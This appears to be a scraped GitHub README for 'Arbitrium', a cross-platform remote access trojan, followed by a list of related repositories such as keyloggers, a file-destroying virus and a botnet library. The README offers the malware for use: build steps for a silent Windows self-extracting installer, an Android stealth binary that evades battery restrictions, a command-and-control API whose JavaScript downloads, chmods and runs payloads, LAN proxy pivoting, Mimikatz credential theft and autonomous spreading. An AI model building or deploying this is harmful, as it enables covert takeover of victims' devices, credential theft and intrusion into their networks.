Arbitrium is a cross-platform, fully undetectable remote access trojan, to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding rules

Overview

About:

Arbitrium is a cross-platform is a remote access trojan (RAT), Fully UnDetectable (FUD), It allows you to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding. It gives access to the local networks, you can use the targets as a HTTP proxy and access Router, discover local IPs and scan their ports. Includes modules like Mimikatz, new modules can easily be added. In addition, if Arbitrium is used with a DNS spoofing software is can spread autonomously between devices (#AutoSpread). Arbitrium is a project of multiple parts, the parts were built using Java, JS, C, Python, Cordova and VueJS.

Demo: https://youtu.be/7KlPPND2b0g

Demo video

Features:

  • FUD

The client uses simple tools which makes it completely undetectable, the trojan based on netcat mainly pipe TCP paquets to run the server's commands.

  • Firewall

Arbitrium doesn't require adding an exception to the firewall, or a port forwarding rule. The server is an API with endpoints that receives tasks for a specific target and others that the trojan periodically request to get the new instructions, the instructions can be a JavaScript file (the Android app is made using Cordova) or a Shell file to run in the terminal/CMD. Once the server receives a task for a device, the former schedule the task then it opens a child process where it waits for the trojan's response by listening to a dedicated ephemeral port. Therefore, the trojan doesn't need to listen to any port.

  • Battery optimization / StealthMode

Unlike with Stock Android, customizations like MIUI by Xiaomi, EMUI by Huawei or Samsung's Android Pie ignore the permissions/exceptions given to an app by the user. So if you try to run an Android's trojan in the background, the moment the app start running frequent or heavy (in some cases even lightweight) tasks (ex: sending http requests periodically) it will be killed no matter what permissions the user grants, ths OS completely ignores the current settings, dontkillmyapp.com is an known website dedicated for this particular issue.

The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.

MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).

  • Web interface

There is also a control panel, it's not a requirement but an extension, it's a simple VueJS webapp, a UI you can use to control the targets instead of directely sending requests to the API. The webapp is available here: Arbitrium WebApp

Requirements

  1. Android's client
Java ver ...
Cordova
Android SDK & NDK
  1. Windows/Linux client
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)

Build

⚠️ use setAPI_FQDN.sh first to set the server domain/IP in all files

Clone repo:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

  1. Android
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

The binaries inside /libs are stripped, so it recommended to use these if you're not debuging.

  1. Windows
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe  

Components

  1. Server API

⚠️ The binaries built for Android should be put inside /assets (rename them to binary_{cpuabi}) and the APK will download them, but if you wish to put them inside the APK just make sure to extract them inside the App data folder /data/data/package_name or create a symbolic link inside it window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7

	├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

Endpoints

⚠️ The response of the API may differ depending on the platform of the device from which the trojan operate. the following part explores mainly the case of Android, because it's the most sophisticated due to the OS's restrictions.

  • [GET] /checkupdate.js

When the client sends its first request to the endpoint /checkupdate.js, the server create a genShell's object, which sets a unique local port for that device self.lport = self.setPort() and a thread id self.threaduid = random.randint in addition to other attributes. Then returns the appropriate JavaScript code (depending on the CPU/ABI) that will contain instructions to download, chmod and execute (main thread, or poolexec) some resources. As for the following requests it returns a JS code that will execute the pending tasks if there are any.

runCMD is a method of genShell that write the shell script we want the trojan to run into a file inside /assets to be downloaded later by the client, then uses netcat to listen for the response and pipe it into a file inside /threads

Example: Let say you want to use the target as a HTTP proxy, the API formulate the request as the following cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

then save it into assets/runsh_{uid_task}.sh, then depending whether the request came from StealthMode/BatteryBypass or not, /checkupdate.js gets the trojan to download the shell file and run it.

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [GET] /addtask

Using the appropriate token the admin can get a device to run a command via this endpoint, the server will describe this command as pending which will impact the next response of /checkupdate.js to that device. Then it'll return a random generated id for this task.

  • [GET] /pingtask

The combination of the task id generated by /addtask and the aforementioned thread id threaduid makes the name of the file inside /threads where the output of the command is saved. Once this endpoint is requested it checks whether /threads/{threaduid}x{taskid} exists, if so the server returns the content of the file otherwise it return 0.

  • [GET] /runproxy & /pushproxy

This will run reverse_http.py in a separate screen, then returns a IP:PORT (HTTP proxy), that will allow the admin to pivote HTTP requests through the trojan device. For instance, if the Admin sets these info in the browser settings and try to open router port (Ex: http://192.16...), the browser will open the router web interface as if the admin was a part the target LAN.

  1. Client/Trojan (Android): The app is build using Cordova for its simplicity and support for cross-platform developpement. This app relays of two main parts

    1. netbolt-orange-plugin:

      this is a cordova plugin I made, it contains few functions that we can call from index.html, scripts downloaded via /checkupdate.js mainly use these methods to run the assigned task

         + exec() : execute shell cmd then returns the cmd output, it runs on the UI thread

         + poolexec() : same as 'exec()', but this one uses the ThreadPoolExecutor so the App can run a cmd without blocking the main thread, when the output is ready, it sent via a callback with the exit status

         + download() : this one is for downloading whatever resources the API or the admin may want or need to execute a task

    Example: The trojan at first requests /checkupdate.js, let assumes this is an Android phone and we want to initiate the StealthMode/BatteryBypass to avoid getting killed (Battery optimizations ...), the API then responde with something like:

    function sfunc1(){
        window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
            sfunc2(...);
        });
    }
    function sfunc2(...){
        window.MyOrangePlugin.exec("chmod ... ", function(res){
        	sfunc3(...);
        });
    }
    function sfunc3(...){
        window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
        	...
        });
    }

    The app also uses a slightly customized version of Cordova background mode plugin.

    1. StealthMode:

         + runFrame.c : This is a simple C program that sends HTTP requests every few seconds to the API through a socket, saves the response to a shell file then makes a system call to run it.

         + toolbox.c : This is a standalone netcat

    The resulting binaries are statically linked to ensure stability and path independance. The importance of using runFrame instead of just running a JS loop in index.html doesn't only stop at the Battery issues explained previously but also for performance reasons. The app with this mode uses much less resources and is more reliable.

    The frequency of the requests is by default set at 5s, but it can be manipulated by the API (the server automatically makes runFrame slow down when there are no scheduled cmds by giving it sleep 30 as a response), therefore, when the admin is controling a device or using it as a proxy a number of tasks will be schedules and the delay between each won't be significant, otherwise we don't want the client to keep sending frequent requests which would make it noticeable and resource consuming.

    ⚠️ the API recognize whether the requests are coming from this mode from the User-Agent: JustKidding, so the responses to /checkupdate.js be compatible. Also the HTTP requests are only made while the phone is connected to Wlan, and there are two main reasons for that, the first is data mobile consumption which the OS will stop, the second is the autonomous spread capability (#AutoSpread)

    // void bzero(void *s, size_t n);
    #define bzero(s, n) memset((s), 0, (n))
    ...
    strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
    char *routing = "ip route | grep wlan";
    ...
    while (1){
    	routingSTAT = system(routing);
    	// grep exit status will only equal 0 if a wlan interface was listed
    	if (routingSTAT==0){
    		fd = socket_connect(argv[1], atoi(argv[2])); 
    		write(fd, reque, strlen(reque));
    		bzero(buffer, BUFFER_SIZE);
    		...
    		}
  2. Client/Trojan (Windows/Linux): Unlike in the case of android here a simple python script will do. In addition, Windows version is equiped with a VBA script and SFX to make a silent autoinstaller, the trojan will be just a standalone executable that runs in the background after extracting its content inside %TEMP%.

Screenshots

  1. HTTP proxy: proxy.png
  2. Powershell: powershell.png
  3. Port scanner: portscan.png
You might also like...
Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX
Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX

🏆 Pancakeswap BSC Sniper Bot web3 with honeypot detector (ANDROID WINDOWS MAC LINUX) 🥇 ⭐️ ⭐️ ⭐️ First SNIPER BOT for ANDROID & WINDOWS with honeypot

This is an injection tool that can inject any xposed modules apk into the debug android app

This is an injection tool that can inject any xposed modules apk into the debug android app, the native code in the xposed module can also be injected.

Remote control your Greenbone Vulnerability Manager (GVM)
Remote control your Greenbone Vulnerability Manager (GVM)

Greenbone Vulnerability Management Tools The Greenbone Vulnerability Management Tools gvm-tools are a collection of tools that help with remote contro

Windows Virus who destroy some impotants files on C:\windows\system32\

psychic-robot Windows Virus who destroy some importants files on C:\windows\system32\ Signatures of psychic-robot.PY (python file) : Bkav Pro : ASP.We

This is a keylogger in python for Windows, Mac and Linux!

Python-Keylogger This is a keylogger in python for Windows, Mac and Linux! #How to use it by downloading the zip file? Download the zip file first The

The Linux defender anti-virus software ported to work on CentOS Linux.

By: Seanpm2001, Et; Al. Top README.md Read this article in a different language Sorted by: A-Z Sorting options unavailable ( af Afrikaans Afrikaans |

LittleBrother is a simple parental control application monitoring specific processes on Linux hosts to monitor and limit the play time of children.
LittleBrother is a simple parental control application monitoring specific processes on Linux hosts to monitor and limit the play time of children.

Parental Control Application LittleBrother Overview LittleBrother is a simple parental control application monitoring specific processes (read "games"

adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.
adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.

adb - An exploitation tool for android devices. A tool that allows you to search for vulnerable android devices across the world and exploit them. Fea

Data Recovery from your broken Android phone

Broken Phone Recovery a guide how to backup data from your locked android phone if you broke your screen (and more) you can skip some steps depending

Owner
Ayoub
CyberSecurity and Machine learning are my passion
Ayoub
pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

pybotnet A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel Disclaimer: Please note that this

</oNion 181 Jan 2, 2023
Log4Shell RCE Exploit - fully independent exploit does not require any 3rd party binaries.

Log4Shell RCE Exploit fully independent exploit does not require any 3rd party binaries. The exploit spraying the payload to all possible logged HTTP

null 258 Jan 2, 2023
Ensure secure infrastructure and consistency with the firewall rules

Python Port Scanner This script tries to check if it's possible to make a connection with the specific endpoint port. This is very useful to ensure se

Allan Avelar 7 Feb 26, 2022
PyFUD - Fully Undetectable payload generator for metasploit

PyFUD fully Undetectable payload generator for metasploit Usage: pyfud.py --host

null 3 Mar 25, 2022
Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling.

sshuttle: where transparent proxy meets VPN meets ssh As far as I know, sshuttle is the only program that solves the following common case: Your clien

null 9.4k Jan 4, 2023
this keylogger is only for pc not for android but it will only work on those pc who have python installed it is made for all linux,windows and macos

Keylogger this keylogger is only for pc not for android but it will only work on those pc who have python installed it is made for all linux,windows a

Titan_Exodous 1 Nov 4, 2021
Undetectable Keylogger that reports to Discord

FUD Keylogger That Reports To Discord This python script will capture all of the keystrokes within a given time frame and report them to a Discord Ser

Dimitris Kalopisis 36 Dec 20, 2022
Worm/Trojan/Ransomware/apt/Rootkit/Virus Database

Pestilence - The Malware Database [] Screenshot Pestilence is a project created to make the possibility of malware analysis open and available to the

*ERR0R* 47 Dec 21, 2022
The Web Application Firewall Paranoia Level Test Tool.

Quick WAF "paranoid" Doctor Evaluation WAFPARAN01D3 The Web Application Firewall Paranoia Level Test Tool. — From alt3kx.github.io Introduction to Par

null 22 Jul 25, 2022
A cross-platform Python module that displays **** for password input. Works on Windows, unlike getpass. Formerly called stdiomask.

PWInput A cross-platform Python module that displays **** for password input. Works on Windows, unlike getpass. Formerly called stdiomask. Installatio

Al Sweigart 26 Sep 4, 2022